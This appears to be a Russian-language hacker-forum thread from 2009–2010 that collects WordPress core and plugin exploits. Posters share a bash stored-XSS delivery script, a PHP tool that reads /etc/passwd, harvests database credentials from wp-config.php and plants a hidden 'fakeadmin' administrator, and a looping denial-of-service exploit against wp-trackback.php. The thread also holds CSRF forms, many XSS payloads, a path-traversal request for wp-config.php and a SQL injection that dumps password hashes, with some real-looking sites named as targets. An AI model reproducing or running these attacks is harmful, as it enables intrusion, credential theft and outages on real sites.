EVILURL="http://w.ch'onmouseover='document.getElementById(String.f romCharCode($WHERE)).value=this.innerHTML;document .getElementById(String.fromCharCode(112,117,98,108 ,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&email=kelly@hackforums.net&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmles s+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

# milw0rm.com [2009-07-24]

budden
11.08.2009, 17:51
WordPress <= 2.8.3 Remote admin reset password

По сути ничего не дает несмотря на громкое название.
http://www.milw0rm.com/exploits/9410

fairy_long_nose
16.08.2009, 00:34
']XSS [Все версии]
Сегодня было опубликована ксс, работает вплоть до текущей версии включительно.

http://www.site.com’onmousemove=’location.href=String .fromCharCode(104,116,116,112,58,47,47,119,119,119 ,46,118,117,108,46,107,114,47,63,112,61,53,54,57);

Для устранения в файле wp-comments-post.php ~40 строку изменяем:
$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);
-1
Не работает

[underwater]
24.10.2009, 00:43
WP-Config Discover
1.
< ?php
2.
$paths = array(
3.
"blog",
4.
"site",
5.
"html",
6.
"www",
7.
"html/blog",
8.
"www/blog",
9.
"site/blog",
10.
"wordpress",
11.
"wp",
12.
"www/wp",
13.
"www/wordpress",
14.
"html/wordpress",
15.
"html/wp",
16.
"public_html",
17.
"public_html/blog",
18.
"public_html/wp",
19.
"public_html/wordpress",
20.
);
21.
$files = array(
22.
"wp-config.php",
23.
);
24.
print "Checking for ….\n";
25.
if(!is_readable("/etc/passwd")) die("err0r: can’t read /etc/passwd (safe mode?)");
26.
$_f = @file("/etc/passwd");
27.
foreach($_f as $usr){
28.
$usr = explode(":", $usr);
29.
$uid = $usr[2];
30.
$home = $usr[5];
31.
$usr = $usr[0];
32.
if($uid >= 1000){
33.
print $usr." (uid:".$uid."): ".$home."\n";
34.
foreach($paths as $path){
35.
if(file_exists($home."/".$path)) {
36.
print "\tSearching in ".$home."/".$path."\n";
37.
foreach($files as $file){
38.
if(file_exists($home."/".$path."/".$file)){
39.
print "\t\tFound: ".$file."\n";
40.
$__f = @file($home."/".$path."/".$file);
41.
foreach($__f as $line){
42.
if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
43.
if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
44.
if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
45.
if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
46.
if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
47.
flush();
48.
}
49.
print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
50.
if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
51.
if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
52.
flush();
53.
}
54.
}
55.
}
56.
flush();
57.
}
58.
flush();
59.
}
60.
}
61.
function getURL($user, $pass, $db, $host, $prefix){
62.
preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
63.
preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
64.
preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
65.
preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
66.
preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
67.
$sql = @mysql_connect($host, $user, $pass);
68.
@mysql_select_db($db);
69.
$_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
70.
@mysql_close($sql);
71.
return @mysql_result($_q, 0, ‘option_value’);
72.
}
73.

74.
function UserAdmin($action, $user, $pass, $db, $host, $prefix){
75.
preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
76.
preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
77.
preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
78.
preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
79.
preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
80.
$sql = @mysql_connect($host, $user, $pass);
81.
@mysql_select_db($db);
82.
if($action == "create"){
83.
$wp_uid = rand(9990,99999);
84.
@mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(’dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘http://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
85.
@mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
86.
}
87.
if($action == "delete"){
88.
mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
89.
mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
90.
}
91.
@mysql_close($sql);
92.
return "fakeadmin/dummie";
93.
}
94.
?>

[underwater]
24.10.2009, 01:15
Серьезная быра была обнаружена в файле WP-trackbacks.php. Уязвимость состоит в том, что любой посетитель буквально 20 запросами может положить сайт.

Открываем файл WP-trackbacks.php:
if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}

$charset передается через $_POST['charset']. И вя проблема состоит в кодировке mb_convert_encoding

$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);
Эта функция преобразует $text в UTF-8. Но если мы сделаем так:
$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);
mb_convert_encoding попытает определить кодировку $text, и будет проверять является ли она ISO-8859-1, и так снова и снова. Эскплоит уже придумали до меня:
<?php
//wordpress Resource exhaustion Exploit
// by rooibo
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}

if(count($data) == 2) {
$path = ”;
} else {
$path = $data['path'];
}
$path = trim($path,’/');
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}

$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);

$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;

$count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>
Запускаем так: php exploit.php http://site.com

Для патчинга открываем файл WP-trackbacks.php, ищем строку:
$charset = $_POST['charset'];
Заменяем на:
$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Techn0id
08.12.2009, 23:17
WordPress Google Analytics Plugin 3.x

http://localhost/wp/?s=</script><script>alert(0)</script>
http://localhost/wp/?s=");alert(0);document.write("

HAXTA4OK
21.12.2009, 11:27
Раскрытие пути плагина cforms да по сути что не зайди там на файл, то раскрытие

файл: cforms-captcha.php

$im_bg_url= 'captchabg/' . ( prep($_REQUEST['b'],'1.gif') );
/////ну и косячная функция getimagesize
$image_data=getimagesize($im_bg_url);


пример : http://www.sakeservices.com/wp-content/plugins/cforms/cforms-captcha.php?b=1'

HAXTA4OK
21.12.2009, 13:40
плагин xcloner

phpinfo()

файл /restore/XCloner.php


switch ($_REQUEST[task]) {



case 'step2':

step2();

break;

case 'step1':

step1();

break;

case 'getinfo':

getPHPINFO();

break;

case 'info':

echo phpinfo();

break;

default :

start();

break;

}


__http://www.hellboysword.com/wp-content/plugins/xcloner/restore/XCloner.php?task=info

chekist
23.12.2009, 23:53
плагин nsx-referers

/wp-content/plugins/nsx-referers/nsx-referers-stat.php


.......

$referer = $_SERVER['HTTP_REFERER'];
$ref_arr = parse_url("$referer");

.......

$res_query = urldecode($ref_arr['query']);
if (preg_match("/{$hosts[$host]}(.*?)&/si",$res_query."&",$matches))
{
$search = $matches[1];
}

if ($wpdb->rows_affected < 1)
$wpdb->query( "INSERT INTO ".REFTABLE." VALUES ('', '$url', 'NULL', 'NULL', '$search', 1)");



в Referer отсылаем http://yandex.ru/yandsearch?text=wp%27,1),(0x00,0x2f,0x00,0x00,user (),1)%23&lr=6

sumeru
26.12.2009, 19:57
http://blogsecurity.net/projects/secure-wp-whitepaper.pdf

&&

Writing Secure WordPress Plugins
http://michaeldaw.org/papers/securing_wp_plugins/


А эти пожелания скрипт (теоретически) может сам внедрить или это невозможно и только вручную?

budden
27.01.2010, 20:11
Есть несколько блогов на одном серваке - версии: 1.5.2, 2.0, 2.0.2
Рега везде отключена.

Пробовал единственный подходящий эксплойт - безуспешно:
Wordpress <= 2.0.6 wp-trackback.php Zend_Hash_Del_Key_Or_Index / sql injection admin hash disclosure exploit

Еще можно что-нибудь предпринять?

[Raz0r]
28.01.2010, 01:21
Еще можно что-нибудь предпринять?
http://www.milw0rm.com/exploits/3095

Раскрытие путей: http://site.com/wordpress/wp-admin/includes/plugin.php
страшный боян

total90
04.04.2010, 21:06
WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF

Ошибка в коде в функции:


function comment_post ($id){
global $user_ID;
global $langs;

$texts = $langs[get_option('ac_lang')];

if ($user_ID)
return $id;

if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
wp_delete_comment($id);
echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
exit;
}
}


а точнее:


if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
wp_delete_comment($id);
echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
exit;
}


если чел не передал сессию этого модуля ( а точнее не отметил чекбокс --
"Подтверждаю, что я не спам-бот" ) то модуль выдает ошибку и при этом не
фильтрует $_POST['comment'].

Сам сплойт выглядит так :

<html>
<head>
<title>WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF
Exploit</title>
<!--
Vulnerability found by total90, exploit written by Dr.TRO
-->
</head>
<body>
<form action="http://[Домен][Путь к WP]wp-comments-post.php" method="post"
name="commentform">
<input type="hidden" name="author" value="Dr.TRO" />
<input type="hidden" name="email" value="drtro.public@gmail.com" />
<input type="hidden" name="comment" value="[Уязвимое место]" />
<input type="hidden" name="comment_post_ID" value="[ID существующего
поста]" />
<input type="submit" name="submit" value="Request" />
</form>
</body>
</html>


Анализ кода и сплойт by Dr.TRO
Google dork: Для того, чтобы иметь возможность комментировать, включите
JavaScript в Вашем браузере.

winlogon.exe
06.05.2010, 13:48
как узнать версию wp ?

total90
07.05.2010, 22:46
как узнать версию wp ?
В исходникe стрaницы зaчaстую eсть.
п.с. в этой тeмe это считaeтся оффтопом.

Strilo4ka
15.05.2010, 10:55
Banner Garden Версия 0.1.3
скачал туто: http://wordpress.org/extend

bg-plugin-ajax.php - в корне плагина.

Пасивная XSS

header('Content-type: text/html; charset=UTF-8');
require_once ("../../../wp-config.php");
load_plugin_textdomain( 'bannergarden', false, dirname( plugin_basename( __FILE__ )).'/localization' );
require_once ("bannergarden.class.php");
if (class_exists('BannerGarden')) {
$bg = new BannerGarden();
}

switch ($_POST["type"]) {
case "pic":
$val_arr = array('picture' => base64_decode($_POST["picture"]),
'link' => base64_decode($_POST["link"]),
'new_window' => $_POST["nw"]);
$frm = $bg->GetBannerAjaxForm('pic',$val_arr);
echo $frm;
break;/*...*/bannergarden.class.php
/*...*/function GetBannerAjaxForm($type,$values = array()) {
switch ($type) {
/**** Picture ****/
case "pic":
$picture = '';
$link = '';
$nw_checked = '';

if (array_key_exists('picture',$values)) {
$picture = $values['picture'];
}

if (array_key_exists('link',$values)) {
$link = $values['link'];
}

if (array_key_exists('new_window',$values)) {
$new_window = $values['new_window'];
if ($new_window == 1) {
$nw_checked = ' checked="checked"';
}
}

$html = '<div class="bg_label">'.__('URL of picture:','bannergarden').'</div>';
$html .= '<small>'.__('Type an image url, or upload / select and image for the banner.','bannergarden').'</small>';
$html .= '<div class="bg_input"><input type="text" id="adpicture" name="adpicture" value="'.$picture.'" /> <input id="upload_button" type="button" value="'.__('Upload / Select Image','bannergarden').'" /></div>';

$html .= '<div class="bg_label">'.__('Link on click:','bannergarden').'</div>';
$html .= '<small>'.__('Enter a URL where we redirect the user. Use full URL start with "http://" or "https://"','bannergarden').'</small>';
$html .= '<div class="bg_input"><input type="text" id="adlink" name="adlink" value="'.$link.'" /></div>';

$html .= '<div class="bg_label">'.__('Open in new window?','bannergarden').'</div>';
$html .= '<small>'.__('Check this box if you want the link to open in a new window.','bannergarden').'</small>';
$html .= '<div class="bg_input"><input type="checkbox" name="adnewwindow" value="1"'.$nw_checked.' /></div>';
break;/*...*/Результат:
<form action="http://wordpress/wp-content/plugins/banner-garden/bg-plugin-ajax.php" method=post>
<input type=hidden name=link value="Ij48c2NyaXB0PmFsZXJ0KDEyMyk8L3NjcmlwdD48YnI=">
<input type=hidden name=type value=pic>
<input type=submit>
</form>

Strilo4ka
16.05.2010, 15:33
Pretty Link Version: 1.4.47
скачать (http://downloads.wordpress.org/plugin/pretty-link.1.4.47.zip)

Пасивная XSS

http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>

уязвимый скрипт: wp-content/plugins/pretty-link/pretty-bar.php

/*...*/
$target_url = $_GET['url'];

$shortened_title = stripslashes(substr($prli_blogname,0,$bar_title_li mit));
$shortened_desc = stripslashes(substr($prli_blogdescription,0,$bar_d esc_limit));
$shortened_link = stripslashes(substr($target_url,0,$bar_link_limit) );

if(strlen($prli_blogname) > $bar_title_limit)
$shortened_title .= "...";

if(strlen($prli_blogdescription) > $bar_desc_limit)
$shortened_desc .= "...";

if(strlen($target_url) > $bar_link_limit)
$shortened_link .= "...";
/*...*/

/*...*/
<?php if( $bar_show_target_url_link ) { ?>
<a href="<?php echo $target_url; ?>" title="You're viewing: <?php echo $target_url; ?>" target="_top">Viewing: <?php echo $shortened_link; ?></a>
<?php } else echo "&nbsp;"; ?>
/*...*/Результат: http://[host]/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=<script>alert(123)</script>

Strilo4ka
24.05.2010, 02:48
VideoWhisper Live Streaming Integration
Version: 2.1 Downloads 3,814 скачать (http://downloads.wordpress.org/plugin/videowhisper-live-streaming-integration.zip)

Как бы смотрел... Все-таки напишу хоть и пасивки...
Passive XSS

plugins/videowhisper-live-streaming-integration/ls/v_status.php
$room=$_POST[r];
$session=$_POST[s];
$username=$_POST[u];
$message=$_POST[m];

$currentTime=$_POST[ct];
$lastTime=$_POST[lt];

$maximumSessionTime=0; //900000ms=15 minutes; 0 for unlimited

$disconnect=""; //anything else than "" will disconnect with that message
?>timeTotal=<?=$maximumSessionTime?>&timeUsed=<?=$currentTime?>&lastTime=<?=$currentTime?>&disconnect=<?=$disconnect?>&loadstatus=1
Експлуатация:
POST
ct=<script>alert(123)</script>Passive XSS
/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php/*...*/
<div class="info"><h1><?=$_GET[message]?></h1>Chat session ended: You can close this window.</div>
/*...*/http://[host]/[path]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3Cscript%3Ealert%28123%29%3 C/script%3E

Пишем в файл. Если есть LFI то повезло.
plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php<?php
$username=$_POST['u'];
$session=$_POST['s'];
$room=$_POST['r'];
$message=$_POST['msg'];
$time=$_POST['msgtime'];

//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;

$dir="uploads";
if (!file_exists($dir)) mkdir($dir);
$dir.="/$room";
if (!file_exists($dir)) mkdir($dir);

$day=date("y-M-j",time());

$dfile = fopen("uploads/$room/Log$day.html","a");
fputs($dfile,$message."<BR>");
fclose($dfile);
?>loadstatus=1
Путь wp-content/plugins/videowhisper-live-streaming-integration/ls/uploads

RulleR
30.05.2010, 12:32
Plugin name: jRSS Widget (download (http://downloads.wordpress.org/plugin/jrss-widget.1.0.zip))
Version: 1.0

File Disclosure

Vuln file: /wp-content/plugins/jrss-widget/proxy.phpheader('Content-type: application/xml');
$handle = fopen($_REQUEST['url'], "r");

if ( $handle ) {
while ( !feof($handle) ) {
$buffer = fgets($handle, 4096);
echo $buffer;
}
fclose($handle);
}Exploit:POST http://[host]/[path]/wp-content/plugins/jrss-widget/proxy.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

url=../../../wp-config.php

Strilo4ka
06.06.2010, 03:51
Плагин WP Auctions

Version: 1.7.4
Last Updated: 2010-6-5

Узнаем версию вордпрес + phpinfo().

/wp-content/plugins/wp-auctions/wp_auctions.php
/*...*/
if (strstr($_SERVER['PHP_SELF'],PLUGIN_EXTERNAL_PATH.PLUGIN_NAME) && isset($_GET['debug'])):
echo "Version Number: ".$wpa_version;
echo "<p>";
phpinfo();
endif;
/*...*/Результат:
http://[host]/wp-content/plugins/wp-auctions/wp_auctions.php?debug

http://smarz1000.com/wp-content/plugins/wp-auctions/wp_auctions.php?debug

Еще версия вордпрес снизу:
http://[host]/wp-content/plugins/wp-auctions/wp_auctions.php?rss

Пути:
http://[host]/wp-content/plugins/wp-auctions/wpa_resizer.php?image=/

Еще раз пути в файле:
http://smarz1000.com/wp-content/plugins/wp-auctions/wp_auctions.php?rss

total90
06.06.2010, 21:49
Wordpress 2.9.2 Passive XSS

Search.php

Сразу оговорюсь, данная уязвимость присутствует не во всех wp-темах.

Рассмотрим тему Simple Balance (http://www.alexnote.ru/wp-content/uploads/theme/simplebalance.zip)

search.php:
<?php include (TEMPLATEPATH . '/header.php'); ?>

<div id="page">

<?php
if (!isset($theme_options["layout_style"]) || $theme_options["layout_style"] == "scs") {
include (TEMPLATEPATH . '/lsidebar.php');
}
?>

<div id="content">

<?php include (TEMPLATEPATH . '/topads.php'); ?>

<h4 class="archiveTitle">Результаты поиска <strong>'<?php echo $s?>'</strong></h4>

<?php if (have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>
<div class="post">
<div class="postTitle"><h2><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?></a></h2></div>
<div class="postInfo">Опубликовано <?php the_time('d.m.Y'); ?> в рубрике <?php the_category(', ') ?> <?php edit_post_link('изменить', '(', ')'); ?></div>

<div class="postContent">
<?php the_excerpt(); ?>
</div>

<?php if(function_exists('the_tags')) { ?><div class="postExtras"><strong>Метки:</strong> <?php the_tags('', ', ', ''); ?></div><?php } ?>

<div class="postMeta">
<span class="postLink"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>">Читать пост</a></span>
<?php
$comNo = get_comment_type_count('comment'); // Checking if there are any actual comments (trackbacks and pingbacks excluded)

if ($comNo == 1 ) {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируе е?', 'Один комментарий', 'Комментариев '.$comNo.''); ?></span>
<?php }
elseif ($comNo > 1) {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируе е?', 'Один комментарий', 'Комментариев '.$comNo.''); ?></span>
<?php }
else {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируе е?', 'Прокомментируете?', 'Прокомментируете?'); ?></span>
<?php } ?>
</div>
</div>
<?php endwhile; ?>

<div class="navigation">
<div class="left"><?php previous_posts_link('&laquo; В будущее') ?></div>
<div class="right"><?php next_posts_link('В прошлое &raquo;') ?></div>
</div>

<?php else: ?>
Ничего не найдено.<br />
Извините, по вашему запросу ничего не найдено. Возможно, вам стоит изменить параметры поиска?
<?php endif; ?>
</div>

<?php
if (isset($theme_options["layout_style"]) && $theme_options["layout_style"] == "css") {
include (TEMPLATEPATH . '/lsidebar.php');
}
?>

<?php include (TEMPLATEPATH . '/rsidebar.php'); ?>

</div>

<?php include (TEMPLATEPATH . '/footer.php'); ?>


нас интересует только:
<h4 class="archiveTitle">Результаты поиска <strong>'<?php echo $s?>'</strong></h4>
Как видим, скрипт выводит параметр $s, никак не фильтруя его.
Соответственно если передать скрипту js код в теге <script>, он выполнится.

Эксплуатация:[host]/[path]/?s=[xss]
Пример: http://seocekret.ru/?s=<script>alert()</script>

karencho777
06.06.2010, 22:51
подскажите как узнать версию wordpress

total90
06.06.2010, 22:55
подскажите как узнать версию wordpress


В исходнике страницы.
<meta name="generator" content="WordPress x.x" />

Strilo4ka
07.06.2010, 00:35
Page Flip Image Gallery cкачать (http://wordpress.org/extend/plugins/page-flip-image-gallery/)
Version 0.5.10.8 Updated 2010-4-29 Downloads 459,700

Passive XSS
wp-content\plugins\page-flip-image-gallery\script.php
<?php
ob_start();
error_reporting(0);

if ($_GET['action'] == 'test')
{
echo "OK\n".$_GET['id'];
exit();
}
/*...*/http://[host]/wp-content/plugins/page-flip-image-gallery/script.php?action=test&id=<script>alert(123)</script>

Ins3t
07.06.2010, 00:48
В файле upload.php можна походу грузить файл, но разширение должно быть как картинка, если веб-сервер обрабат. .php.jpg как php -> шелл

Что значит обрабатывает php.jpg как php?
Впервые такое слышу.

Он будет обрабатывать его как картинку, так что чтобы выполнить код скрипта придется искать, скажем, инклуд :)

brain[pillow]
07.06.2010, 02:12
В мозилле код не выполнится!

Эксплуатация:[host]/[path]/?s=[xss]
Пример: http://seocekret.ru/?s=<script>alert()</script>Риальне пи3датая пассивка, только вот жаль такой же её пи3датый "обнаруженец" не знает, что для того чтобы в мозилле увидеть результат функции alert(), в неё нужно что-нибудь передать.

Strilo4ka
07.06.2010, 05:01
AjaxChat скачать (http://downloads.wordpress.org/plugin/ajaxchat.0.3.zip)
Last Updated: 2010-6-2

SQL inj
wp-content\plugins\ajaxchat\ajaxchat_ping.php
require_once('ajaxchat_config.php');
if(!session_id()) { session_start(); }
header("Pragma: no-cache");
header("Cache-Contro: no-cache");
$id=$_GET['lastid']?$_GET['lastid']:0;
function getrand($len) {
$str="";
$a=array('A','B','C','D','E','F','G','H','I','J',' K','L','M','N','O','P','Q','R','S','T','U','V','W' ,'X','Y','Z','a','b','c','d','e','f','g','h','i',' j','k','l','m','n','o','p','q','r','s','t','u','v' ,'w','x','y','z','0','1','2','3','4','5','6','7',' 8','9');
for($i=0;$i<$len;$i++) {
$rand=rand(0,count($a)-1);
$str.=$a[$rand];
}
return $str;
}
global $current_user;
get_currentuserinfo();
$t=time();
$r=$wpdb->get_row("SELECT name,starttime FROM ".$wpdb->prefix."ajaxim_sess WHERE sessid='".session_id()."'");
if(!$r->name) {
$wpdb->query("INSERT INTO ".$wpdb->prefix."ajaxim_sess (name,lasttime,starttime,sessid) VALUES('Guest_".getrand(5)."',".$t.",".$t.",'".session_id()."')");
}
else {
$wpdb->query("UPDATE ".$wpdb->prefix."ajaxim_sess SET lasttime=".$t." WHERE sessid='".session_id()."'");
if($current_user->ID!='' && $r->name!=$current_user->display_name) {
$wpdb->query($wpdb->prepare("UPDATE ".$wpdb->prefix."ajaxim_sess SET name='%s' WHERE sessid='%s'",$current_user->display_name,session_id()));
}
}
$_SESSION['lastmsg']=$id;
$r2=$wpdb->query("SELECT name,time,msg,msgid FROM ".$wpdb->prefix."ajaxim_data WHERE time>".$r->starttime." AND msgid>".$id." ORDER BY time");
if($r2>0) {
$str="NEW:";
foreach($wpdb->last_result as $res) {
$str.="<div id='".$res->msgid."' name='".$res->msgid."'>(".date("g:ia",$res->time).")&nbsp;&lt;".$res->name."&gt;&nbsp;".stripslashes($res->msg)."</div>";
}
print $str;
}Exploit:
http://[host]/wp-content/plugins/ajaxchat/ajaxchat_ping.php?lastid=1+or+1=1+union+select+1,2 ,concat_ws(0x3a,user_login,user_pass),4+from+wp_us ers